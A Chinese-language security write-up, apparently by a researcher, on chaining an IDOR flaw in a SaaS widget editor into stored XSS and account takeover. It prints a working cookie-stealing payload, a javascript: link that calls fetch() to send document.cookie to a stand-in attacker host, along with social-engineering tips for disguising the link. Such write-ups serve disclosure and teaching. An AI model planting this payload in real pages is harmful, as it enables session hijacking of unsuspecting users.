从小漏洞到账号接管: IDOR → XSS 攻击链揭秘

2025-08-22 04:45 32 Xss介绍

作为安全研究员,我发现过不少漏洞,但有一个案例至今让我印象深刻——一个看似不起眼的 IDOR(不安全的直接对象引用)漏洞,居然能一路升级成严重的账号接管。这个案例告诉我们,现代 Web 防护也可能失灵,而多层安全防护真的很重要。


 发现过程:看似无害的 IDOR

  在测试一家热门 SaaS 平台的 Widget 功能时,我注意到每个 Widget 都能通过这样的 URL 访问:



https://app.target.com/widgets/edit?uuid=123e4567-e89b-12d3-a456-426614174000




  结果只要随便改 UUID,我就能编辑任何用户的 Widget。没有权限检查,也没有任何提示——这就是典型的 IDOR 漏洞。

为什么危险?

  • Widget 可以直接嵌入公开网站

  • 平台服务超过 10 万家公司

  • 关键操作没有二次验证



从 IDOR 到存储型 XSS:JavaScript 伪协议攻击

Widget 编辑器允许添加自定义链接。常规的 XSS 过滤能挡住像 <script>alert(1)</script> 这种攻击,但它漏掉了一个关键点——href 里的 JavaScript 伪协议:



<ahref="javascript:fetch('https://attacker.com/log?cookie='+document.cookie)">点击领取特别优惠!</a>



社会工程学加持

为了让攻击更真实,我做了几件事:

  • target="_blank" 新标签页打开

  • 链接文字看起来合法(比如“下载白皮书”)

  • 加上伪造的 UTM 参数,增加可信度


绕过现代防护

这个攻击令人担忧的地方在于,它能轻松绕过常见安全防护:

  1. CSP 绕过

    • script-src 没限制伪协议

    • 数据可以轻松外泄

  2. Cookie 获取

    • 缺少 HttpOnly,JavaScript 可以直接访问

    • 没有 SameSite,支持跨域窃取

  3. 缺少点击劫持防护

    • 没有 X-Frame-Options,Widget 可以被嵌入 iframe



 攻击链全流程

  1. 攻击者通过 IDOR 编辑受害者 Widget

  2. 插入恶意 JavaScript 链接

  3. 受害者访问含 Widget 的页面

  4. 点击看似“合法”的链接

  5. 会话 Cookie 被传到攻击者服务器

  6. 攻击者顺利劫持会话


安全启示

  • 测试 JavaScript 执行环境,不仅限 <script>

  • 寻找漏洞链(IDOR → XSS → 账号接管)

  • 小疏忽可能引发大问题

  • 安全防护必须多层设计

  • 真正的攻击通常是漏洞组合拳